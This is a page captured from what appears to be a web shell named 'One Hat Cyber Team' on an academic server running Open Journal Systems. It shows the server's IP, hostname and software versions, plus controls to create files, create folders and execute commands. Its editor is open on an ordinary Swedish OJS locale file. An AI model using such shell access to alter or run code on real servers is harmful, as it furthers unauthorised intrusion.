One Hat Cyber Team
Your IP :
216.73.216.135
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-umj311
/
lib
/
pkp
/
locale
/
sv_SE
/
Edit File:
common.xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE locale SYSTEM "../../dtd/locale.dtd"> <!-- * locale/sv_SE/common.xml * * Copyright (c) 2014-2019 Simon Fraser University * Copyright (c) 2000-2019 John Willinsky * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING. * Localization information: https://pkp.sfu.ca/wiki/index.php?title=OJS:_Swedish_(sv_SE) * Localization strings. --> <locale name="sv_SE" full_name="Svenska"> <message key="common.publicKnowledgeProject">Public Knowledge Project</message> <message key="common.currentStyleSheet">Aktuell stilmall</message> <message key="about.description">Beskrivning</message> <message key="about.guidelines">Riktlinjer</message> <message key="about.aboutSite">Om webbplatsen</message> <message key="about.contact">Kontakt</message> <message key="about.contact.email">E-post</message> <message key="about.contact.phone">Telefon</message> <message key="about.contact.principalContact">Primär kontakt</message> <message key="about.contact.supportContact">Support</message> <message key="about.other">Andra</message> <message key="about.people">Personer</message> <message key="about.policies">Policyer</message> <message key="about.siteMap">Site Map</message> <message key="announcement.announcements">Meddelanden</message> <message key="announcement.announcementsHome">Meddelanden</message> <message key="announcement.moreAnnouncements">Fler meddelanden...</message> <message key="announcement.noneExist">Inga meddelanden publicerade.</message> <message key="announcement.posted">Publicerad</message> <message key="announcement.postedOn">Publicerad den {$postDate}</message> <message key="announcement.view">Visa meddelande</message> <message key="common.allDownloads">Alla nedladdningar</message> <message key="common.navigation.sidebar">Sidomeny</message> <message key="common.navigation.site">Navigering webbplats</message> <message key="common.navigation.siteContext">Navigering webbplatskontext</message> <message key="common.navigation.user">Navigering användare</message> <message key="common.tasks">Uppgifter</message> <message key="common.list">Lista</message> <message key="common.grid">Rutnät</message> <message key="common.confirmDelete">Är du säker på att du vill ta bort det här objektet? Åtgärden går inte att ångra.</message> <message key="common.abstract">Abstract</message> <message key="common.accepted">Accepterad</message> <message key="common.acknowledged">Tack till</message> <message key="common.action">Åtgärd</message> <message key="common.activate">Aktivera</message> <message key="common.active">Aktiv</message> <message key="common.add">Lägg till</message> <message key="common.addSelf">Lägg till dig själv</message> <message key="common.name">Namn</message> <message key="common.all">Alla</message> <message key="common.alphaList">A B C D E F G H I J K L M N O P Q R S T U V W X Y Z Å Ä Ö</message> <message key="common.titleSmallWords">av en det och eller men är om de annars när från av på av i ut över i med</message> <message key="common.alreadyAssigned">Tilldelat</message> <message key="common.altText">Alternativ text</message> <message key="common.altTextInstructions">För att förbättra sökmotoroptimeringen och följa Web Content Accessibility Guidelines-standarden (WCAG), vänligen beskriv den information som bilden innehåller och som skulle saknas om webbplatsen visades i en webbläsare med bara text eller med hjälpmedel (t.ex. skärmläsare). Ett exempel: "Vår redaktör talar på PKP#2015-konferensen".</message> <message key="common.and">och</message> <message key="common.applyAction">Verkställ åtgärd</message> <message key="common.assign">Utse</message> <message key="common.assigned">Utsedd</message> <message key="common.assigned.date">Utsedd: {$dateAssigned}</message> <message key="common.available">Tillgänglig</message> <message key="common.back">Tillbaka</message> <message key="common.between">mellan</message> <message key="common.cancel">Avbryt</message> <message key="common.cancelled">Avbruten</message> <message key="common.warning">Varning</message> <message key="common.error">Fel</message> <message key="common.notice">Anmärkning</message> <!-- Captcha error messages. See: https://developers.google.com/recaptcha/docs/verify --> <message key="common.captcha.error.missing-input-secret">Captcha-valideringen för den här webbplatsen är inte ordentligt konfigurerad. Den hemliga nyckeln saknas.</message> <message key="common.captcha.error.invalid-input-secret">Captcha-valideringen för den här webbplatsen är inte ordentligt konfigurerad. Den hemliga nyckeln är ogiltig.</message> <message key="common.captcha.error.missing-input-response">Du måste komma igenom valideringskontrollen, som används för att förhindra spambidrag.</message> <message key="common.captcha.error.invalid-input-response">Du kom inte igenom valideringskontrollen, som används för att förhindra spambidrag.</message> <message key="common.captchaField.description">Skriv in bokstäverna som du ser dem i bilden ovan.</message> <message key="common.captchaField">Validering</message> <message key="common.ccLicense"><![CDATA[ <br /><br /> <a target="_blank" rel="license" href="https://creativecommons.org/licenses/by/3.0/"> <img alt="Creative Commons-licens" style="border-width:0" src="//i.creativecommons.org/l/by/3.0/80x15.png"/> </a> <br /> Detta verk är licensierat under en <a rel="license" target="_blank" href="https://creativecommons.org/licenses/by/3.0/">Creative Commons Erkännande Attribution 3.0-licens</a>. ]]></message> <message key="common.ccLicense.rt"><![CDATA[ <div class="rtBlock"> <br /> <a rel="license" href="https://creativecommons.org/licenses/by/3.0/" target="_blank"><img alt="Creative Commons License" style="border-width:0" src="//i.creativecommons.org/l/by/3.0/80x15.png" /></a> <br /> Detta verk är licensierat under en <a rel="license" target="_blank" href="https://creativecommons.org/licenses/by/3.0/">Creative Commons Erkännande Attribution 3.0-licens</a>. </div> ]]></message> <message key="common.changesSaved">Dina ändringar sparades.</message> <message key="common.chooseOne">Välj en</message> <message key="common.close">Stäng</message> <message key="common.closePanel">Stäng panel</message> <message key="common.closeWindow">Stäng fönster</message> <message key="common.complete">Slutför</message> <message key="common.completed">Slutförd</message> <message key="common.completed.date">Slutförd: {$dateCompleted}</message> <message key="common.confirm">Bekräfta</message> <message key="common.confirmed.date">Bekräftad: {$dateConfirmed}</message> <message key="common.content">Innehåll</message> <message key="common.contents">Innehåll</message> <message key="common.continue">Fortsätt</message> <message key="common.copy">Kopiera</message> <message key="common.country">Land</message> <message key="common.create">Skapa</message> <message key="common.dateCompleted">Datum för slutförande</message> <message key="common.date">Datum</message> <message key="common.dateModified">Datum för ändringar</message> <message key="common.dateRequested">Datum för förfrågan</message> <message key="common.dateSubmitted">Datum för inlämning</message> <message key="common.dateUploaded">Datum för uppladdning</message> <message key="common.dateHijri">Hijri-kalender</message> <message key="common.day">Dag</message> <message key="common.deactivate">Avaktivera</message> <message key="common.default">Default</message> <message key="common.declined">Avböjd</message> <message key="common.delete">Radera</message> <message key="common.deleting">Raderar</message> <message key="common.deleteSelection">Radera markerad(e)</message> <message key="common.designation">Benämning</message> <message key="common.description">Beskrivning</message> <message key="common.dimensionsInches"><![CDATA[{$width}″×{$height}″ vid {$dpi} DPI/PPI]]></message> <message key="common.dimensionsPixels"><![CDATA[{$width}×{$height} pixlar]]></message> <message key="common.disable">Avaktivera</message> <message key="common.disabled">Avaktiverad</message> <message key="common.discipline">Disciplin</message> <message key="common.done">Klar</message> <message key="common.download">Ladda ner</message> <message key="common.downloadPdf">Ladda ned PDF</message> <message key="common.edit">Redigera</message> <message key="common.enable">Aktivera</message> <message key="common.enabled">Aktiverad</message> <message key="common.error.databaseError">Ett fel i databasen inträffade: {$error}</message> <message key="common.error.databaseErrorUnknown">Ett okänt fel vid anslutning till databasen inträffade.</message> <message key="common.error.framesRequired"><![CDATA[Den här sidan kräver frames. <a href="{$url}">Klicka här</a> för en version utan frames.]]></message> <message key="common.event">Händelse</message> <message key="common.export">Exportera</message> <message key="common.finish">Avsluta</message> <message key="common.fullscreen">Helskärm</message> <message key="common.fullscreenOff">Lämna helskärm</message> <message key="common.false">Falsk</message> <message key="common.file">Fil</message> <message key="common.file.namingPattern">{$username}, {$originalFilename}</message> <message key="common.file.anonymousNamingPattern">{$genre}, {$originalFilename}</message> <message key="common.fileName">Filnamn</message> <message key="common.fileSize">Filstorlek</message> <message key="common.fileType">Filtyp</message> <message key="common.fileUploaderError">Systemets filuppladdningsverktyg laddas in. Om det inte dyker upp är det förmodligen så att den här webbläsaren inte stödjer några av dess runtimes. Vänligen kontakta din administratör för support.</message> <message key="common.filter">Filter</message> <message key="common.filterAdd">Lägg till filter: {$filterTitle}</message> <message key="common.filterRemove">Rensa filter: {$filterTitle}</message> <message key="common.from">Från</message> <message key="common.until">Till</message> <message key="common.go">Fortsätt</message> <message key="common.height">Höjd</message> <message key="common.homepageNavigationLabel">Hem</message> <message key="common.homePageHeaderLogo.altText">Logotyp på förstasidans sidhuvud</message> <message key="common.hour">Timme</message> <message key="common.id">ID</message> <message key="common.import">Importera</message> <message key="common.initiate">Påbörja</message> <message key="common.inProgress">Pågående</message> <message key="common.itemsPerPage">Items per page</message> <message key="common.favicon.altText">Adressikon (eng. "favicon")</message> <message key="common.keywords">Nyckelord</message> <message key="common.language">Språk</message> <message key="common.languages">Språk</message> <message key="common.less">Färre</message> <message key="common.lessThan">{$value} eller färre</message> <message key="common.commaListSeparator">, </message> <message key="common.semicolonListSeparator">; </message> <message key="common.manage">Administrera</message> <message key="common.mailingAddress">Adress</message> <message key="common.billingAddress">Faktureringsadress (om annan)</message> <message key="common.minute">Minut(er)</message> <message key="common.modify">Ändra</message> <message key="common.month">Månad</message> <message key="common.more">Fler</message> <message key="common.moreThan">{$value} or fler</message> <message key="common.noneAssigned">Ingen utsedd</message> <message key="common.none">Ingen</message> <message key="common.no">Nej</message> <message key="common.noComments">Inga kommentarer</message> <message key="common.notApplicable">Ej tillämpligt</message> <message key="common.notApplicableShort">N/A</message> <message key="common.notAvailable">Ej tillgängligt</message> <message key="common.note">Anteckning</message> <message key="common.notes">Anteckningar</message> <message key="common.notes.tooltip">Anteckningar (gul: har nya anteckningar; blå: har lästa anteckningar; grå: inga anteckningar)</message> <message key="common.notified">Meddelad</message> <message key="common.notified.date">Meddelad: {$dateNotified}</message> <message key="common.noMatches">Inga träffar</message> <message key="common.off">Av</message> <message key="common.on">På</message> <message key="common.ok">OK</message> <message key="common.options">Alternativ</message> <message key="common.order">Ordna</message> <message key="common.originalFileName">Ursprungligt filnamn</message> <message key="common.or">eller</message> <message key="common.other">Annat</message> <message key="common.overdue">Försenad</message> <message key="common.pagination">{$start}-{$end} av {$total}</message> <message key="common.pagination.label">Bläddra bland ytterligare sidor</message> <message key="common.pageNumber">Sida {$pageNumber}</message> <message key="common.pageHeaderLogo.altText">Logotyp sidhuvud</message> <message key="common.percentage">{$percentage}%</message> <message key="common.plugin">Plugin</message> <message key="common.pluginEnabled">Pluginet "{$pluginName}" har aktiverats.</message> <message key="common.pluginDisabled">Pluginet "{$pluginName}" har avaktiverats.</message> <message key="common.prefix">Prefix</message> <message key="common.prefixAndTitle.tip">Exempel: En, Det, Den</message> <message key="common.preview">Förhandsgranska</message> <message key="common.publisher">Utgivare</message> <message key="common.quality">Kvalitet</message> <message key="common.queue.long.active">Alla aktiva</message> <message key="common.range">{$min}–{$max}</message> <message key="common.re">Sv:</message> <message key="common.readMore">Läs mer</message> <message key="common.readMoreWithTitle">Läs mer om {$title}</message> <message key="common.record">Registrera</message> <message key="common.refresh">Uppdatera</message> <message key="common.related">Relaterad</message> <message key="common.reminder">Påminnelse</message> <message key="common.reminded.date">Påmind: {$dateReminded}</message> <message key="common.remote">Extern</message> <message key="common.remoteURL">Extern URL</message> <message key="common.remove">Ta bort</message> <message key="common.removeSelection">Ta bort markerad(e)</message> <message key="common.replaced">Ersatt</message> <message key="common.replaceFile">Ersätt fil</message> <message key="common.requiredField">* betyder obligatoriskt fält</message> <message key="common.required">Obligatoriskt</message> <message key="common.reset">Återställ</message> <message key="common.saveAndContinue">Spara och fortsätt</message> <message key="common.saveAndEmail">Spara och skicka e-postmeddelande</message> <message key="common.save">Spara</message> <message key="common.saving">Sparar</message> <message key="common.search">Sök</message> <message key="common.searchQuery">Sökfråga</message> <message key="common.clearSearch">Rensa sökfråga</message> <message key="common.second">Sekund(er)</message> <message key="common.selectAll">Välj alla</message> <message key="common.selectNone">Välj ingen</message> <message key="common.select">Välj</message> <message key="common.sendEmail">Skicka e-postmeddelande</message> <message key="common.size">Storlek</message> <message key="common.source">Källa</message> <message key="common.status">Status</message> <message key="common.subject">Ämne</message> <message key="common.subjects">Ämnen</message> <message key="common.subtitle">Undertitel</message> <message key="common.suggest">Föreslå</message> <message key="common.title">Titel</message> <message key="common.top">Till början</message> <message key="common.true">Sant</message> <message key="common.type">Typ</message> <message key="common.component">Component</message> <message key="common.uninitiated">Ej påbörjad</message> <message key="common.unread">Oläst</message> <message key="common.untitled">Utan titel</message> <message key="common.updated">Uppdaterad</message> <message key="common.uploadedDate">Uppladdningsdatum</message> <message key="common.uploadedFile">Uppladdad fil</message> <message key="common.upload">Ladda upp</message> <message key="common.uploadFailed">Filen kunde inte laddas upp eller ändras.</message> <message key="common.invalidFileType">Ingen fil uppladdad eller ogiltig filtyp!</message> <message key="common.homepageImage.altText">Förstasidesbild</message> <message key="common.up">Upp</message> <message key="common.upload.addFile">Ladda upp fil</message> <message key="common.upload.changeFile">Ändra fil</message> <message key="common.upload.dragFile">Dra och släpp en fil här för att starta uppladdningen</message> <message key="common.url">URL</message> <message key="common.user">Användare</message> <message key="common.view">Visa</message> <message key="common.viewProfile">Visa profil</message> <message key="common.weeks">veckor</message> <message key="common.width">Bredd</message> <message key="common.year">År</message> <message key="common.yes">Ja</message> <message key="common.loading">Laddar</message> <message key="common.plugins">Plugins</message> <message key="common.metric">Mått</message> <message key="common.count">Antal</message> <message key="common.publicAccess">Publik tillgång</message> <message key="debug.databaseQueries">Antal databasfrågor</message> <message key="debug.executionTime">Sidan genererad på</message> <message key="debug.memoryUsage">Minnesanvändning</message> <message key="debug.notes.localeListLoad">Hämtade språk/region-lista "{$localeList}" från XML</message> <message key="debug.notes.localeLoad">Laddade språk/region-filen "{$localeFile}" från XML</message> <message key="debug.notes.missingLocaleKey">Saknar språk/region-koden "{$key}".</message> <message key="debug.notes">Meddelanden:</message> <message key="defaultMetric.title">Defaultmått</message> <message key="defaultMetric.availableMetrics">Tillgängliga mått</message> <message key="editor.submissionReview.uploadFile">Ladda upp granskningsfil</message> <message key="editor.submissionReview.uploadAttachment">Ladda upp fil</message> <message key="email.addAttachment">Lägg till bilaga</message> <message key="email.addBccRecipient">Lägg till BCC</message> <message key="email.addCcRecipient">Lägg till CC</message> <message key="email.addToRecipient">Lägg till mottagare</message> <message key="email.attachments">Bilagor</message> <message key="email.bcc">BCC</message> <message key="email.bccSender">Skicka en kopia av det här meddelandet till min adress ({$address})</message> <message key="email.body">Text</message> <message key="email.cc">CC</message> <message key="email.compose">Skicka e-postmeddelande</message> <message key="email.compose.tooManyRecipients">Meddelandet du försöker skicka har för många mottagare.</message> <message key="email.compose.tooSoon">Det har gått för kort tid sedan du senast skickade ett meddelande. Vänligen vänta innan du skickar meddelandet på nytt.</message> <message key="email.email">Skicka e-postmeddelande</message> <message key="email.from">Från</message> <message key="email.invalid">E-postadressen {$Email} är ogiltig.</message> <message key="email.multipart">Det här är ett multi-part-meddelande i MIME-format.</message> <message key="email.recipient">Mottagare</message> <message key="email.recipients">Mottagare</message> <message key="email.sender">Avsändare</message> <message key="email.senderName">Avsändarens namn</message> <message key="email.senderEmail">Avsändarens e-postadress</message> <message key="email.send">Skicka</message> <message key="email.skip">Hoppa över e-postmeddelande</message> <message key="email.subject">Ämne</message> <message key="email.subjectRequired">Vänligen förse e-postmeddelandet med en ämnesrad.</message> <message key="email.bodyRequired">Vänligen förse e-postmeddelandet med något textinnehåll.</message> <message key="email.to">Till</message> <message key="form.url.invalid">URL:en är ogiltig. Kontrollera och försök igen.</message> <message key="form.confirmSubmit">Är du säker på att du vill skicka formuläret?</message> <message key="form.confirmSubmit.title">Bekräfta</message> <message key="form.emailRequired">En e-postadress krävs.</message> <message key="form.dataHasChanged">Informationen i formuläret har ändrats. Vill du fortsätta utan att spara?</message> <message key="form.errorsOccurred">Det uppstod ett fel när formuläret behandlades.</message> <message key="form.formLanguage.description">För att fylla i informationen nedan på ytterligare språk, ange språk först.</message> <message key="form.formLanguage">Formulärspråk</message> <message key="form.contains">innehåller</message> <message key="form.is">är</message> <message key="form.startsWith">börjar med</message> <message key="form.postRequired">Formuläret var inte korrekt ifyllt.</message> <message key="form.csrfInvalid">Formuläret var inte korrekt ifyllt.</message> <message key="form.fileRequired">Filuppladdning är obligatorisk.</message> <message key="form.required">(* obligatorisk)</message> <message key="form.resubmit">Skicka in igen</message> <message key="form.saveToUpload">Använd Spara för att ladda upp filen.</message> <message key="form.send">Skicka</message> <message key="form.submit">Skicka in</message> <message key="form.invalidImage">En ogiltig bildfil laddades upp. Tillåtna format är .png, .gif eller .jpg.</message> <message key="help.help">Hjälp</message> <message key="help.toc">Innehållsförteckning</message> <message key="help.previous">Föregående</message> <message key="help.next">Nästa</message> <message key="help.upALevel">Upp en nivå</message> <message key="icon.checked.alt">Markerad</message> <message key="icon.comment.alt">Kommentar</message> <message key="icon.delete.alt">Radera</message> <message key="icon.edit.alt">Redigera</message> <message key="icon.folder.alt">Mapp</message> <message key="icon.font_large.alt">Stor</message> <message key="icon.font_medium.alt">Mellan</message> <message key="icon.font_small.alt">Liten</message> <message key="icon.info.alt">Info</message> <message key="icon.letter.alt">Brev</message> <message key="icon.mail.alt">E-post</message> <message key="icon.unchecked.alt">Omarkerade</message> <message key="icon.view.alt">Visa</message> <!-- Information Center --> <message key="informationCenter.informationCenter">Informationscenter</message> <message key="informationCenter.editorialHistory">Redaktionell historik</message> <message key="informationCenter.addNote">Lägg till en anteckning</message> <message key="informationCenter.noNotes">Det finns inga anteckningar att visa.</message> <message key="informationCenter.pastNotes">Tidigare anteckningar om bearbetning</message> <message key="informationCenter.deleteConfirm">Är du säker på att du vill ta bort den här anteckningen?</message> <message key="informationCenter.currentHistory">Aktuell version</message> <message key="informationCenter.pastHistory">Tidigare versioner</message> <message key="informationCenter.history.noItems">Inga händelser loggade.</message> <message key="informationCenter.history.notePosted">Skickade ny anteckning.</message> <message key="informationCenter.history.messageSent">Avisering skickad till användare.</message> <!-- Stage Participants --> <message key="stageParticipants.history.messageSent">Avisering skickad till användare.</message> <message key="stageParticipants.notify.startDiscussion">Påbörja diskussion</message> <message key="stageParticipants.notify.startDiscussion.description">Påbörja en diskussion mellan dig själv och {$userFullName}.</message> <message key="stageParticipants.notify.chooseMessage">Välj ett fördefinierat meddelande att använda eller fyll i formuläret nedan.</message> <message key="stageParticipants.notify.message">Meddelande</message> <message key="stageParticipants.notify.warning">Vänligen se till att du har fyllt i meddelandefältet och valt minst en mottagare.</message> <message key="stageParticipants.options">Behörigheter</message> <message key="stageParticipants.recommendOnly">Den här deltagaren tillåts endast rekommendera ett redaktörsbeslut, en behörig redaktör krävs för att registrera redaktörsbeslut.</message> <message key="locale.primary">Primärt språk</message> <message key="locale.supported">Språk som stöds</message> <message key="navigation.access"><![CDATA[Användare & Roller]]></message> <message key="navigation.about">Om</message> <message key="navigation.admin">Administration</message> <message key="navigation.archives">Arkiv</message> <message key="navigation.breadcrumbLabel">Här är du:</message> <message key="navigation.breadcrumbSeparator">/</message> <message key="navigation.tools">Verktyg</message> <message key="navigation.tools.importExport">Importera/Exportera</message> <message key="navigation.tools.statistics">Statistik</message> <message key="navigation.browse">Bläddra</message> <message key="navigation.browseByAuthor">Per författare</message> <message key="navigation.browseByTitle">Per titel</message> <message key="navigation.dashboard">Översikt</message> <message key="navigation.data">Data</message> <message key="navigation.home">Hem</message> <message key="navigation.infoForReaders">För läsare</message> <message key="navigation.infoForReaders.long">Information för läsare</message> <message key="navigation.items">{$from} – {$to} av {$total} objekt</message> <message key="navigation.items.shownTotal">{$shown} av {$total} objekt</message> <message key="navigation.login">Logga in</message> <message key="navigation.nextPage"><![CDATA[>>]]></message> <message key="navigation.nextStep">Nästa steg</message> <message key="navigation.previousPage"><![CDATA[<<]]></message> <message key="navigation.previousStep">Föregående steg</message> <message key="navigation.publicMenu">Publik meny</message> <message key="navigation.register">Registrera</message> <message key="navigation.search">Sök</message> <message key="navigation.settings">Inställningar</message> <message key="navigation.setup">Inställning</message> <message key="navigation.sitemap">Site map</message> <message key="navigation.skip.main">Hoppa till huvudinnehåll</message> <message key="navigation.skip.nav">Hoppa till primär navigationsmeny</message> <message key="navigation.skip.footer">Hoppa till sidfot</message> <message key="navigation.stepNumber">Steg {$step}</message> <message key="navigation.submissions">Bidrag</message> <message key="navigation.system">System</message> <message key="navigation.userHome">Min sida</message> <message key="navigation.user">Användare</message> <message key="navigation.userManagement">Administrera användare</message> <message key="navigation.viewFrontend">Visa webbplats</message> <message key="notification.addedAuditor">Manusgranskare tillagd.</message> <message key="notification.removedAuditor">Manusgranskare borttagen.</message> <message key="notification.addedQuery">Diskussion tillagd.</message> <message key="notification.reviewAcknowledged">Granskning markerad som godkänd. Inget e-postmeddelande skickat.</message> <message key="notification.reviewerThankedEmail">E-postmeddelande med tack skickat till granskare.</message> <message key="notification.updatedReviewFiles">Granskningsfiler uppdaterade.</message> <message key="notification.allow">Aktivera den här sortens aviseringar.</message> <message key="notification.addedAnnouncementType">Meddelandetyp tillagd.</message> <message key="notification.editedAnnouncementType">Meddelandetyp redigerad.</message> <message key="notification.removedAnnouncementType">Meddelandetyp borttagen.</message> <message key="notification.addedAnnouncement">Meddelande tillagt.</message> <message key="notification.editedAnnouncement">Meddelande redigerat.</message> <message key="notification.removedAnnouncement">Meddelande borttaget.</message> <message key="notification.addedAuthor">Författare tillagd.</message> <message key="notification.editedAuthor">Författare redigerad.</message> <message key="notification.confirmError">Det uppstod ett problem när din prenumeration skulle bekräftas.</message> <message key="notification.confirmSuccess">Registreringen av din prenumeration är nu färdig.</message> <message key="notification.email">Sluta skicka den här typen av meddelanden till min e-postadress.</message> <message key="notification.noneExist">Du har inga aviseringar just nu.</message> <message key="notification.addedNote">Anteckning skickad.</message> <message key="notification.removedNote">Antagning borttagen.</message> <message key="notification.removedFile">Tog bort fil.</message> <message key="notification.removedSubmission">Tog bort bidrag.</message> <message key="notification.notification">Avisering</message> <message key="notification.notifications">Aviseringar</message> <message key="notification.sentNotification">Avisering skickad.</message> <message key="notification.settings">Inställningar för aviseringar</message> <message key="notification.settingsDescription">Välj de systemhändelser som du vill bli aviserad om. Om du kryssar ur en händelse dyker inga aviseringar för den händelsen upp i systemet eller via e-post. Ikryssade händelser dyker upp i systemet och du kan välja om du vill få aviseringen även via e-post eller inte.</message> <message key="notification.reminderError">Det uppstod ett fel vid utskick av lösenord till dig, vänligen dubbelkolla att den e-postadress du angivit verkligen stämmer.</message> <message key="notification.reminderSent">Ditt nya lösenord har skickats till e-postadressen du angivit.</message> <message key="notification.savedSubmissionMetadata">Metadata för bidrag sparat.</message> <message key="notification.sendNotificationConfirmation">Skicka e-postmeddelande med avisering till alla registrerade användare.</message> <message key="search.author">Författare</message> <message key="search.abstract">Abstract</message> <message key="search.advancedFilters">Avancerade filter</message> <message key="search.advancedSearchMore">Fler sökalternativ</message> <message key="search.advancedSearchLess">Dölj fler sökalternativ</message> <message key="search.searchAgain">Sök igen</message> <message key="search.cli.rebuildIndex.clearingIndex">Rensar index</message> <message key="search.cli.rebuildIndex.done">klart</message> <message key="search.cli.rebuildIndex.error">fel</message> <message key="search.cli.rebuildIndex.result">{$numIndexed} artiklar indexerade</message> <message key="search.coverage">Täckning</message> <message key="search.date">Publiceringsdatum</message> <message key="search.dateFrom">Publicerad senare än</message> <message key="search.dateTo">Publicerad tidigare än</message> <message key="search.deleteFilter">Ta bort</message> <message key="search.discipline">Disciplin(er)</message> <message key="search.fullText">Fulltext</message> <message key="search.indexTerms">Ämnesord</message> <message key="search.indexTermsLong">Alla fält för ämnesord</message> <message key="search.matchAll">Matcha i alla kategorier</message> <message key="search.noKeywordError">Du måste ange minst ett sökord.</message> <message key="search.noResults">Inga träffar</message> <message key="search.operator.and">OCH</message> <message key="search.operator.not">INTE</message> <message key="search.operator.or">ELLER</message> <message key="search.SearchFor">Sök efter</message> <message key="search.searchResults">Sökresultat</message> <message key="search.subject">Nyckelord</message> <message key="search.titleIndex">Bläddra i titelregister</message> <message key="search.title">Titel</message> <message key="search.typeMethodApproach">Typ (metod/tillvägagångssätt)</message> <!-- Common --> <message key="grid.action.downloadFile">Ladda ned den här filen</message> <message key="context.path">Sökväg</message> <message key="review.ensuringBlindReview">Att säkerställa anonym granskning</message> <message key="grid.action.showReviewPolicy">Läs aktuell granskningspolicy</message> <message key="grid.action.deleteNotification">Ta bort uppgift</message> <message key="grid.action.markNew">Markera som ny</message> <message key="grid.action.markRead">Markera som läst</message> <message key="dashboard.tasks">Uppgifter</message> <message key="dashboard.myQueue">Min kö</message> <message key="review.blindPeerReview"> <![CDATA[<p>För att säkerställa den anonyma granskningsprocessen som används för insända bidrag till den här utgivaren ska alla försiktighetsåtgärder tas för att hindra att identiteterna hos författare och granskare röjs för varandra. Detta innebär att författare, redaktörer och granskare (som laddar upp dokument under granskningsprocessen) behöver kontrollera att följande steg tagits gällande text- och filegenskaper:</p> <ul><li>Författare till dokumentet rensar texten från sina namn och använder "Författaren" och år i referenslistor och fotnoter istället för författarens namn, artikeltitel, etc.</li> <li>För Microsoft Office-dokument ska element som identifierar författaren också tas bort från filens metadata (se under Arkiv i Word) genom att klicka på följande, med start i Arkiv i huvudmenyn på Microsoft-programmet: Arkiv (eller Microsoft Office-knappen) > Info > Felsök > Kontrollera dokument > Ta bort dold och personlig information > Spara. (Word 2007–2016.)</li> <li>För PDF:er ska författarnamn också tas bort från PDF-metadatan, exempelvis via Egenskaper under Arkiv i Adobe Acrobats huvudmeny.</li> </ul>]]> </message> <message key="reviewer.submission.reviewSchedule">Granskningsplan</message> <message key="reviewer.submission.reviewRequestDate">Förfrågan från redaktör</message> <message key="reviewer.submission.responseDueDate">Deadline för svar</message> <message key="reviewer.submission.reviewDueDate">Deadline för granskning</message> <message key="submission.task.responseDueDate">Deadline för svar</message> <message key="navigation.goBack">Gå tillbaka</message> <message key="notification.addedReviewer">{$reviewerName} har utsetts till granskare för det här bidraget och har meddelats via e-post.</message> <message key="notification.addedReviewerNoEmail">{$reviewerName} har utsetts som granskare för det här bidraget men har inte meddelats via e-post.</message> <message key="notification.removedReviewer">Granskare borttagen.</message> <message key="notification.addedStageParticipant">Användaren tillagd som deltagare i steget.</message> <message key="notification.type.newAnnouncement">Nytt meddelande.</message> <message key="notification.type.reviewAssignment">Väntar på granskning.</message> <message key="notification.type.reviewAssignmentUpdated">Granskningsuppdrag uppdaterat.</message> <message key="notification.type.auditorRequest">Förfrågan om manusgranskning av "{$file}"</message> <message key="notification.type.allReviewsIn">Alla granskningar har kommit in och ett beslut behövs vid {$stage}.</message> <message key="notification.type.allRevisionsIn">En bearbetad fil har laddats upp för redaktionell bedömning av dig vid {$stage}.</message> <message key="notification.type.pendingRevisions">Bearbetningar att ta ställning till vid {$stage}.</message> <message key="notification.type.pendingRevisions.title">Bearbetningar inskickade till {$stage}.</message> <message key="notification.type.metadataModified">"{$title}s" metadata har redigerats.</message> <message key="notification.type.reviewerComment">En granskare har kommenterat "{$title}".</message> <message key="notification.signedFile">Fil bedömd.</message> <message key="user.authorization.submissionFile">Aktuell användare har inte behörighet att få tillgång till den specificerade bidragsfilen.</message> <message key="user.authorization.invalidSubmission">Ogiltigt bidrag.</message> <message key="user.authorization.invalidRepresentation">Ogiltig representation.</message> <message key="user.authorization.authorRoleMissing">I nuläget har du inte tillräcklig behörighet för att se bidraget. Vänligen se över din profil för att säkerställa att du har fått alla roller du behöver under "Registrera som".</message> <message key="user.authorization.submissionAuthor">Aktuell användare är inte författare till det begärda bidraget. Vänligen kontrollera att du är inloggad på rätt användarkonto.</message> <message key="notification.type.queryActivity">Diskussionsaktivitet.</message> <message key="notification.type.queryAdded">Diskussion tillagd.</message> <message key="notification.type.assignCopyeditors">Utse manusredaktör genom Utse-länken i Deltagar-listan.</message> <message key="notification.type.awaitingCopyedits">Väntar på manusredigeringar.</message> <message key="notification.type.roundStatusTitle">Status för omgång {$round}</message> <message key="semicolon">{$label}:</message> <!-- Navigation Menus --> <message key="notification.editedNavigationMenuItem">Objekt i navigationsmeny uppdaterat.</message> <message key="notification.removedNavigationMenuItem">Objekt i navigationsmeny borttaget.</message> <message key="notification.addedNavigationMenuItem">Objekt i navigationsmeny tillagt.</message> <message key="notification.addedNavigationMenu">Navigationsmeny tillagd.</message> <message key="notification.editedNavigationMenu">Navigationsmeny uppdaterad.</message> <message key="notification.removedNavigationMenu">Navigationsmeny borttagen.</message> <!-- List Handlers --> <message key="list.viewMore">Visa mer detaljer om {$name}</message> <message key="list.viewLess">Göm visade detaljer om {$name}</message> </locale>
Simpan